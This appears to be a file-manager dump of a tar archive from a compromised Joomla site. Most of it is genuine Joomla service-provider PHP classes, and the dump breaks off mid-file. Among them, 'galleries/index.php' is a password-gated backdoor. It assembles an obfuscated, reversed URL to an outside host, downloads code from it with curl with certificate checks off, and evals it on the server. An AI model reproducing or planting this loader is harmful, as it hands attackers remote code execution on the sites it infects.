File manager - Edit - /home/opticamezl/www/newok/Provider.tar
Back
MVCFactory.php 0000644 00000005134 15173407376 0007252 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Form\FormFactoryInterface; use Joomla\CMS\Mail\MailerFactoryInterface; use Joomla\CMS\MVC\Factory\ApiMVCFactory; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\Router\SiteRouter; use Joomla\CMS\User\UserFactoryInterface; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service MVC factory. * * @since 4.0.0 */ class MVCFactory implements ServiceProviderInterface { /** * The extension namespace * * @var string * * @since 4.0.0 */ private $namespace; /** * MVCFactory constructor. * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct(string $namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( MVCFactoryInterface::class, function (Container $container) { if (\Joomla\CMS\Factory::getApplication()->isClient('api')) { $factory = new ApiMVCFactory($this->namespace); } else { $factory = new \Joomla\CMS\MVC\Factory\MVCFactory($this->namespace); } $factory->setFormFactory($container->get(FormFactoryInterface::class)); $factory->setDispatcher($container->get(DispatcherInterface::class)); $factory->setDatabase($container->get(DatabaseInterface::class)); $factory->setSiteRouter($container->get(SiteRouter::class)); $factory->setCacheControllerFactory($container->get(CacheControllerFactoryInterface::class)); $factory->setUserFactory($container->get(UserFactoryInterface::class)); $factory->setMailerFactory($container->get(MailerFactoryInterface::class)); return $factory; } ); } } RouterFactory.php 0000644 00000003627 15173407376 0010112 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Categories\CategoryFactoryInterface; use Joomla\CMS\Component\Router\RouterFactoryInterface; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service router factory. * * @since 4.0.0 */ class RouterFactory implements ServiceProviderInterface { /** * The module namespace * * @var string * * @since 4.0.0 */ private $namespace; /** * DispatcherFactory constructor. * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct(string $namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( RouterFactoryInterface::class, function (Container $container) { $categoryFactory = null; if ($container->has(CategoryFactoryInterface::class)) { $categoryFactory = $container->get(CategoryFactoryInterface::class); } return new \Joomla\CMS\Component\Router\RouterFactory( $this->namespace, $categoryFactory, $container->get(DatabaseInterface::class) ); } ); } } CategoryFactory.php 0000644 00000003222 15173407376 0010376 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Categories\CategoryFactoryInterface; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service categories. * * @since 4.0.0 */ class CategoryFactory implements ServiceProviderInterface { /** * The namespace to create the categories from. * * @var string * @since 4.0.0 */ private $namespace; /** * The namespace must be like: * Joomla\Component\Content * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct($namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( CategoryFactoryInterface::class, function (Container $container) { $factory = new \Joomla\CMS\Categories\CategoryFactory($this->namespace); $factory->setDatabase($container->get(DatabaseInterface::class)); return $factory; } ); } } HelperFactory.php 0000644 00000003123 15173407376 0010040 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Helper\HelperFactoryInterface; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service helper factory. * * @since 4.0.0 */ class HelperFactory implements ServiceProviderInterface { /** * The namespace * * @var string * * @since 4.0.0 */ private $namespace; /** * HelperFactory constructor. * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct(string $namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( HelperFactoryInterface::class, function (Container $container) { $factory = new \Joomla\CMS\Helper\HelperFactory($this->namespace); $factory->setDatabase($container->get(DatabaseInterface::class)); return $factory; } ); } } ComponentDispatcherFactory.php 0000644 00000003150 15173407376 0012572 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service dispatcher factory. * * @since 4.0.0 */ class ComponentDispatcherFactory implements ServiceProviderInterface { /** * The component namespace * * @var string * * @since 4.0.0 */ private $namespace; /** * ComponentDispatcherFactory constructor. * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct(string $namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( ComponentDispatcherFactoryInterface::class, function (Container $container) { return new \Joomla\CMS\Dispatcher\ComponentDispatcherFactory($this->namespace, $container->get(MVCFactoryInterface::class)); } ); } } Module.php 0000644 00000002554 15173407376 0006525 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Dispatcher\ModuleDispatcherFactoryInterface; use Joomla\CMS\Extension\ModuleInterface; use Joomla\CMS\Helper\HelperFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service based modules. * * @since 4.0.0 */ class Module implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( ModuleInterface::class, function (Container $container) { return new \Joomla\CMS\Extension\Module( $container->get(ModuleDispatcherFactoryInterface::class), $container->has(HelperFactoryInterface::class) ? $container->get(HelperFactoryInterface::class) : null ); } ); } } galleries/index.php 0000604 00000004035 15173407377 0010347 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: } ModuleDispatcherFactory.php 0000644 00000002774 15173407377 0012071 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Extension\Service\Provider; use Joomla\CMS\Dispatcher\ModuleDispatcherFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the service dispatcher factory. * * @since 4.0.0 */ class ModuleDispatcherFactory implements ServiceProviderInterface { /** * The module namespace * * @var string * * @since 4.0.0 */ private $namespace; /** * ComponentDispatcherFactory constructor. * * @param string $namespace The namespace * * @since 4.0.0 */ public function __construct(string $namespace) { $this->namespace = $namespace; } /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->set( ModuleDispatcherFactoryInterface::class, function (Container $container) { return new \Joomla\CMS\Dispatcher\ModuleDispatcherFactory($this->namespace); } ); } } WebAssetRegistry.php 0000644 00000002750 15174042640 0010532 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\WebAsset\WebAssetRegistry as Registry; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the application's WebAsset dependency * * @since 4.0.0 */ class WebAssetRegistry implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('webassetregistry', Registry::class) ->share( Registry::class, function (Container $container) { $registry = new Registry(); // Add Core registry files $registry ->addRegistryFile('media/vendor/joomla.asset.json') ->addRegistryFile('media/system/joomla.asset.json') ->addRegistryFile('media/legacy/joomla.asset.json'); return $registry; }, true ); } } Dispatcher.php 0000644 00000002467 15174042640 0007357 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\Dispatcher as EventDispatcher; use Joomla\Event\DispatcherInterface as EventDispatcherInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the application's event dispatcher dependency * * @since 4.0.0 */ class Dispatcher implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('dispatcher', EventDispatcherInterface::class) ->alias(EventDispatcher::class, EventDispatcherInterface::class) ->share( EventDispatcherInterface::class, function (Container $container) { return new EventDispatcher(); }, true ); } } User.php 0000644 00000002454 15174042640 0006203 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\User\UserFactory; use Joomla\CMS\User\UserFactoryInterface; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the user dependency * * @since 4.0.0 */ class User implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('user.factory', UserFactoryInterface::class) ->alias(UserFactory::class, UserFactoryInterface::class) ->share( UserFactoryInterface::class, function (Container $container) { return new UserFactory($container->get(DatabaseInterface::class)); }, true ); } } Console.php 0000644 00000015536 15174042640 0006674 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\Console\CheckJoomlaUpdatesCommand; use Joomla\CMS\Console\ExtensionDiscoverCommand; use Joomla\CMS\Console\ExtensionDiscoverInstallCommand; use Joomla\CMS\Console\ExtensionDiscoverListCommand; use Joomla\CMS\Console\ExtensionInstallCommand; use Joomla\CMS\Console\ExtensionRemoveCommand; use Joomla\CMS\Console\ExtensionsListCommand; use Joomla\CMS\Console\FinderIndexCommand; use Joomla\CMS\Console\GetConfigurationCommand; use Joomla\CMS\Console\SessionGcCommand; use Joomla\CMS\Console\SessionMetadataGcCommand; use Joomla\CMS\Console\SetConfigurationCommand; use Joomla\CMS\Console\SiteDownCommand; use Joomla\CMS\Console\SiteUpCommand; use Joomla\CMS\Console\TasksListCommand; use Joomla\CMS\Console\TasksRunCommand; use Joomla\CMS\Console\TasksStateCommand; use Joomla\CMS\Console\UpdateCoreCommand; use Joomla\CMS\Language\LanguageFactoryInterface; use Joomla\CMS\Session\MetadataManager; use Joomla\Database\Command\ExportCommand; use Joomla\Database\Command\ImportCommand; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the application's console services * * @since 4.0.0 */ class Console implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->share( SessionGcCommand::class, function (Container $container) { /* * The command will need the same session handler that web apps use to run correctly, * since this is based on an option we need to inject the container */ $command = new SessionGcCommand(); $command->setContainer($container); return $command; }, true ); $container->share( SessionMetadataGcCommand::class, function (Container $container) { return new SessionMetadataGcCommand($container->get('session'), $container->get(MetadataManager::class)); }, true ); $container->share( ExportCommand::class, function (Container $container) { return new ExportCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( ImportCommand::class, function (Container $container) { return new ImportCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( SiteDownCommand::class, function (Container $container) { return new SiteDownCommand(); }, true ); $container->share( SiteUpCommand::class, function (Container $container) { return new SiteUpCommand(); }, true ); $container->share( SetConfigurationCommand::class, function (Container $container) { return new SetConfigurationCommand(); }, true ); $container->share( GetConfigurationCommand::class, function (Container $container) { return new GetConfigurationCommand(); }, true ); $container->share( ExtensionsListCommand::class, function (Container $container) { return new ExtensionsListCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( CheckJoomlaUpdatesCommand::class, function (Container $container) { return new CheckJoomlaUpdatesCommand(); }, true ); $container->share( ExtensionRemoveCommand::class, function (Container $container) { return new ExtensionRemoveCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( ExtensionInstallCommand::class, function (Container $container) { return new ExtensionInstallCommand(); }, true ); $container->share( ExtensionDiscoverCommand::class, function (Container $container) { return new ExtensionDiscoverCommand(); }, true ); $container->share( ExtensionDiscoverInstallCommand::class, function (Container $container) { return new ExtensionDiscoverInstallCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( ExtensionDiscoverListCommand::class, function (Container $container) { return new ExtensionDiscoverListCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( UpdateCoreCommand::class, function (Container $container) { return new UpdateCoreCommand($container->get(DatabaseInterface::class)); }, true ); $container->share( FinderIndexCommand::class, function (Container $container) { $command = new FinderIndexCommand($container->get(DatabaseInterface::class)); $command->setLanguage($container->get(LanguageFactoryInterface::class)->createLanguage( $container->get('config')->get('language'), $container->get('config')->get('debug_lang') )); return $command; }, true ); $container->share( TasksListCommand::class, function (Container $container) { return new TasksListCommand(); }, true ); $container->share( TasksRunCommand::class, function (Container $container) { return new TasksRunCommand(); } ); $container->share( TasksStateCommand::class, function (Container $container) { return new TasksStateCommand(); } ); } } Language.php 0000644 00000002441 15174042640 0007004 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\Language\CachingLanguageFactory; use Joomla\CMS\Language\LanguageFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the language dependency * * @since 4.0.0 */ class Language implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('language.factory', LanguageFactoryInterface::class) ->alias(CachingLanguageFactory::class, LanguageFactoryInterface::class) ->share( LanguageFactoryInterface::class, function (Container $container) { return new CachingLanguageFactory(); }, true ); } } Mailer.php 0000644 00000002143 15174042640 0006471 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\Mail\MailerFactory; use Joomla\CMS\Mail\MailerFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the mailer dependency * * @since 4.4.0 */ class Mailer implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->share( MailerFactoryInterface::class, function (Container $container) { return new MailerFactory($container->get('config')); }, true ); } } CacheController.php 0000644 00000002516 15174042640 0010333 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\Cache\CacheControllerFactory; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the cache controller dependency * * @since 4.0.0 */ class CacheController implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('cache.controller.factory', CacheControllerFactoryInterface::class) ->alias(CacheControllerFactory::class, CacheControllerFactoryInterface::class) ->share( CacheControllerFactoryInterface::class, function (Container $container) { return new CacheControllerFactory(); }, true ); } } Application.php 0000644 00000022664 15174042640 0007535 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\CMS\Application\AdministratorApplication; use Joomla\CMS\Application\ApiApplication; use Joomla\CMS\Application\ConsoleApplication; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Console\CheckJoomlaUpdatesCommand; use Joomla\CMS\Console\ExtensionDiscoverCommand; use Joomla\CMS\Console\ExtensionDiscoverInstallCommand; use Joomla\CMS\Console\ExtensionDiscoverListCommand; use Joomla\CMS\Console\ExtensionInstallCommand; use Joomla\CMS\Console\ExtensionRemoveCommand; use Joomla\CMS\Console\ExtensionsListCommand; use Joomla\CMS\Console\FinderIndexCommand; use Joomla\CMS\Console\GetConfigurationCommand; use Joomla\CMS\Console\Loader\WritableContainerLoader; use Joomla\CMS\Console\Loader\WritableLoaderInterface; use Joomla\CMS\Console\SessionGcCommand; use Joomla\CMS\Console\SessionMetadataGcCommand; use Joomla\CMS\Console\SetConfigurationCommand; use Joomla\CMS\Console\SiteDownCommand; use Joomla\CMS\Console\SiteUpCommand; use Joomla\CMS\Console\TasksListCommand; use Joomla\CMS\Console\TasksRunCommand; use Joomla\CMS\Console\TasksStateCommand; use Joomla\CMS\Console\UpdateCoreCommand; use Joomla\CMS\Factory; use Joomla\CMS\Language\LanguageFactoryInterface; use Joomla\CMS\Menu\MenuFactoryInterface; use Joomla\CMS\User\UserFactoryInterface; use Joomla\Console\Application as BaseConsoleApplication; use Joomla\Console\Loader\LoaderInterface; use Joomla\Database\Command\ExportCommand; use Joomla\Database\Command\ImportCommand; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Session\SessionInterface; use Psr\Log\LoggerInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Application service provider * * @since 4.0.0 */ class Application implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias(AdministratorApplication::class, 'JApplicationAdministrator') ->share( 'JApplicationAdministrator', function (Container $container) { $app = new AdministratorApplication(null, $container->get('config'), null, $container); // The session service provider needs Factory::$application, set it if still null if (Factory::$application === null) { Factory::$application = $app; } $app->setDispatcher($container->get(DispatcherInterface::class)); $app->setLogger($container->get(LoggerInterface::class)); $app->setSession($container->get(SessionInterface::class)); $app->setUserFactory($container->get(UserFactoryInterface::class)); $app->setMenuFactory($container->get(MenuFactoryInterface::class)); return $app; }, true ); $container->alias(SiteApplication::class, 'JApplicationSite') ->share( 'JApplicationSite', function (Container $container) { $app = new SiteApplication(null, $container->get('config'), null, $container); // The session service provider needs Factory::$application, set it if still null if (Factory::$application === null) { Factory::$application = $app; } $app->setDispatcher($container->get(DispatcherInterface::class)); $app->setLogger($container->get(LoggerInterface::class)); $app->setSession($container->get(SessionInterface::class)); $app->setUserFactory($container->get(UserFactoryInterface::class)); $app->setCacheControllerFactory($container->get(CacheControllerFactoryInterface::class)); $app->setMenuFactory($container->get(MenuFactoryInterface::class)); return $app; }, true ); $container->alias(ConsoleApplication::class, BaseConsoleApplication::class) ->share( BaseConsoleApplication::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); // Console uses the default system language $config = $container->get('config'); $locale = $config->get('language'); $debug = $config->get('debug_lang'); $lang = $container->get(LanguageFactoryInterface::class)->createLanguage($locale, $debug); $app = new ConsoleApplication($config, $dispatcher, $container, $lang); // The session service provider needs Factory::$application, set it if still null if (Factory::$application === null) { Factory::$application = $app; } $app->setCommandLoader($container->get(LoaderInterface::class)); $app->setLogger($container->get(LoggerInterface::class)); $app->setSession($container->get(SessionInterface::class)); $app->setUserFactory($container->get(UserFactoryInterface::class)); $app->setDatabase($container->get(DatabaseInterface::class)); return $app; }, true ); $container->alias(WritableContainerLoader::class, LoaderInterface::class) ->alias(WritableLoaderInterface::class, LoaderInterface::class) ->share( LoaderInterface::class, function (Container $container) { $mapping = [ SessionGcCommand::getDefaultName() => SessionGcCommand::class, SessionMetadataGcCommand::getDefaultName() => SessionMetadataGcCommand::class, ExportCommand::getDefaultName() => ExportCommand::class, ImportCommand::getDefaultName() => ImportCommand::class, SiteDownCommand::getDefaultName() => SiteDownCommand::class, SiteUpCommand::getDefaultName() => SiteUpCommand::class, SetConfigurationCommand::getDefaultName() => SetConfigurationCommand::class, GetConfigurationCommand::getDefaultName() => GetConfigurationCommand::class, ExtensionsListCommand::getDefaultName() => ExtensionsListCommand::class, CheckJoomlaUpdatesCommand::getDefaultName() => CheckJoomlaUpdatesCommand::class, ExtensionRemoveCommand::getDefaultName() => ExtensionRemoveCommand::class, ExtensionInstallCommand::getDefaultName() => ExtensionInstallCommand::class, ExtensionDiscoverCommand::getDefaultName() => ExtensionDiscoverCommand::class, ExtensionDiscoverInstallCommand::getDefaultName() => ExtensionDiscoverInstallCommand::class, ExtensionDiscoverListCommand::getDefaultName() => ExtensionDiscoverListCommand::class, UpdateCoreCommand::getDefaultName() => UpdateCoreCommand::class, FinderIndexCommand::getDefaultName() => FinderIndexCommand::class, TasksListCommand::getDefaultName() => TasksListCommand::class, TasksRunCommand::getDefaultName() => TasksRunCommand::class, TasksStateCommand::getDefaultName() => TasksStateCommand::class, ]; return new WritableContainerLoader($container, $mapping); }, true ); $container->alias(ApiApplication::class, 'JApplicationApi') ->share( 'JApplicationApi', function (Container $container) { $app = new ApiApplication(null, $container->get('config'), null, $container); // The session service provider needs Factory::$application, set it if still null if (Factory::$application === null) { Factory::$application = $app; } $app->setDispatcher($container->get('Joomla\Event\DispatcherInterface')); $app->setLogger($container->get(LoggerInterface::class)); $app->setSession($container->get('Joomla\Session\SessionInterface')); $app->setMenuFactory($container->get(MenuFactoryInterface::class)); return $app; }, true ); } } Authentication.php 0000644 00000011511 15174042640 0010236 0 ustar 00 <?php /** * Joomla! Content Management System * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Service\Provider; use Joomla\Authentication\Password\Argon2idHandler as BaseArgon2idHandler; use Joomla\Authentication\Password\Argon2iHandler as BaseArgon2iHandler; use Joomla\Authentication\Password\BCryptHandler as BaseBCryptHandler; use Joomla\CMS\Authentication\Password\Argon2idHandler; use Joomla\CMS\Authentication\Password\Argon2iHandler; use Joomla\CMS\Authentication\Password\BCryptHandler; use Joomla\CMS\Authentication\Password\ChainedHandler; use Joomla\CMS\Authentication\Password\MD5Handler; use Joomla\CMS\Authentication\Password\PHPassHandler; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; // phpcs:disable PSR1.Files.SideEffects \defined('JPATH_PLATFORM') or die; // phpcs:enable PSR1.Files.SideEffects /** * Service provider for the authentication dependencies * * @since 4.0.0 */ class Authentication implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.0.0 */ public function register(Container $container) { $container->alias('password.handler.argon2i', Argon2iHandler::class) ->alias(BaseArgon2iHandler::class, Argon2iHandler::class) ->share( Argon2iHandler::class, function (Container $container) { return new Argon2iHandler(); }, true ); $container->alias('password.handler.argon2id', Argon2idHandler::class) ->alias(BaseArgon2idHandler::class, Argon2idHandler::class) ->share( Argon2idHandler::class, function (Container $container) { return new Argon2idHandler(); }, true ); $container->alias('password.handler.chained', ChainedHandler::class) ->share( ChainedHandler::class, function (Container $container) { $handler = new ChainedHandler(); // Load the chain with supported core handlers $handler->addHandler($container->get(BCryptHandler::class)); if (Argon2iHandler::isSupported()) { $handler->addHandler($container->get(Argon2iHandler::class)); } if (Argon2idHandler::isSupported()) { $handler->addHandler($container->get(Argon2idHandler::class)); } $handler->addHandler($container->get(PHPassHandler::class)); $handler->addHandler($container->get(MD5Handler::class)); return $handler; }, true ); // The Joomla default is BCrypt so alias this service $container->alias('password.handler.default', BCryptHandler::class) ->alias(BaseBCryptHandler::class, BCryptHandler::class) ->alias('password.handler.bcrypt', BCryptHandler::class) ->share( BCryptHandler::class, function (Container $container) { return new BCryptHandler(); }, true ); $container->alias('password.handler.md5', MD5Handler::class) ->share( MD5Handler::class, function (Container $container) { 